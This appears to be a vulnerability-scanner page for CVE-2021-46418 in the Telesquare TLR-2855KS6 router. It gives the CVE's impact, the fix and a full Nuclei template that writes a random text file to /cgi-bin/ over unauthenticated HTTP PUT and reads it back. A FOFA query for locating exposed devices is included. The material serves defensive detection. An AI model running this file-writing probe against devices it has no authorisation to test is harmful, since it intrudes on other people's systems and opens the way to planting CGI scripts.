Telesquare TLR-2855KS6 - Arbitrary File Creation

highseverity

7.5CVSS score

23.9%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.

Impact

Unauthenticated attackers can create arbitrary files including CGI scripts via HTTP PUT requests, potentially achieving remote code execution.

Fix

Apply firmware updates provided by Telesquare or restrict HTTP PUT access to the device.

How to confirm it

Send: PUT /cgi-bin/{{filename}}.txt ; GET /cgi-bin/{{filename}}.txt
Positive when: status_code_1 == 201 and contains(server_1, "lighttpd") && contains(content_type_2, "text/plain") and contains(body_2, "{{randstr}}")

Run it with nuclei: nuclei -id CVE-2021-46418 -u <target>

The full check

id: CVE-2021-46418

info:
  name: Telesquare TLR-2855KS6 - Arbitrary File Creation
  author: DhiyaneshDK
  severity: high
  description: |
    An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
  impact: |
    Unauthenticated attackers can create arbitrary files including CGI scripts via HTTP PUT requests, potentially achieving remote code execution.
  remediation: |
    Apply firmware updates provided by Telesquare or restrict HTTP PUT access to the device.
  reference:
    - http://packetstormsecurity.com/files/166674/Telesquare-TLR-2855KS6-Arbitrary-File-Creation.html
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46418
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46418
    epss-score: 0.23945
    epss-percentile: 0.97851
    cpe: cpe:2.3:h:telesquare:tlr-2855ks6:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: telesquare
    product: "tlr-2855ks6"
    fofa-query: "product==\"TELESQUARE-TLR-2855KS6\""
  tags: packetstorm,cve,cve2021,telesquare,intrusive,vuln
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        PUT /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

        {{randstr}}
      - |
        GET /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 201'
          - 'contains(server_1, "lighttpd") && contains(content_type_2, "text/plain")'
          - 'contains(body_2, "{{randstr}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from